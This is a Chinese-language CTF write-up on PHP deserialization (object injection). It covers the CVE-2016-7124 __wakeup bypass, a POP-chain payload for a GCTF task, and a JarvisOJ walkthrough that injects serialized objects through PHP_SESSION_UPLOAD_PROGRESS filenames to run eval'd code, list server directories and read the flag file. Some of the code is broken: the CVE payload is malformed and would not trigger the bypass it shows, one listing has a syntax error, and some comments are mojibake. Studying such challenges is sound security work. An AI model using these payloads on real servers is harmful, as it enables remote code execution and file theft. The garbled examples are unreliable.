成因

serialize()函数及unserialize()函数的使用不当以及在函数中存在魔术方法,如果反序列化对象存在魔术方法,而且魔术方法的代码可以被我们控制就可以进行各种攻击。 例如:

class A{
    var $a = "test";
    function __destruct(){
        $fp = fopen("D:\\phpStudy\\WWW\\hello.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
}
$test = $_POST['test'];
$test_unser = unserialize($test);

在上例中,使用了魔术方法destruction,反序列化函数参数可控,则可以构造classA来控制变量a的值,继而产生漏洞。

反序列化漏洞之CVE-2016-7124

漏洞分析: 当序列化字符串对象属性的值大于真实的属性个数值时,跳过_wakeup的执行 demo:

<?php
class A{
    var $a = "test";
    function __destruct(){
        $fp = fopen("D:\\phpStudy\\WWW\\hello.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
    function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v) {
                    $this->$k = null;
            }
            echo "Waking up...\n";
        }
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>

构造payload: O:1:"A":1:{s:1:"a":18:"<?php phpinfo();?>";} 即可以青空hello.php

魔术方法:

__construct(), __destruct()
__call(), __callStatic()
__get(), __set()
__isset(), __unset()
__sleep(), __wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()

这里有两个例题

首先是gctf的一道题

//index.php
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>
//query.php
/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}
*/

构造payload:

<?php

class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
        if($this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup($str,$b){
        $this->attr = $b;
        $this->obj = $b;
    }
    function __destruct(){
        echo $this->attr;
    }
}

$a = new TOPA();
$a->username = 'aaaaaaaaaaaaaaaaa';
$a->password = 'bbbbbbbbbbbbbbbbbb';
$a->ticket = &$a->token;
$b = new TOPB();
$b->attr = serialize($a);
$c = new TOPC();
$c->attr = $b;
print_r(serialize($c));
?>

得到的序列化字符串便是payload,将其提交后得到flag

另外要是jarvisoj的一道题,我是链接

看到PHP代码中的 ini_set('session.serialize_handler', 'php') 就会知道这道题目与PHP中的Session序列话的问题有关,关于PHP中的Session的问题,可以参考我的这篇文章。这里就对Session序列化不做说明。 这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过 Session Upload Progress 来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="http://121.42.149.60/68b329da9893e34099c7d8ad5cb9c940/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后在Session就会保存上传的文件名。 下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。 在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。

在本地创建myindex.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='需要设置方法';
    function __construct()
    {
        // $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$obj = new OowoO();
echo serialize($obj);

首先设置 $mdzz='echo "spoock";' ,最后序列话得到的结果是: O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "spoock";";} 。那么文件名就需要设置为 |O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "spoock";";} ,由于要对其中的双引号进行转义,最后实际的文件名为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";} 。最后的测试结果为:

可以看到最后的结果输出了 spoock ,说明上述的测试是成功的。 接下来就需要获取flag了。 获取项目路径: 通过dirname获取文件路径 设置 $mdzz='print_r(dirname(FILE));' 序列化得到的结果是 O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(FILE));";} 文件名设置为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(FILE));\";} 显示结果如下:

得到项目路径是在 opt/lampp/htdocs 获取文件列表 通过scandir获取文件列表 设置$mdzz= 'print_r(scandir("/opt/lampp/htdocs"));' 序列化的结果是 O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs")) ;";} 文件名设置为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";} 显示的结果是:

发现存在 Here_1s_7he_fl4g_buT_You_Cannot_see.php 。 读取文件内容: 通过file_get_contents读取文件内容 设置 $mdzz='O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}' 序列话结果 O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";} 文件名设置为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";} 。 显示结果为:

最后就得到flag了。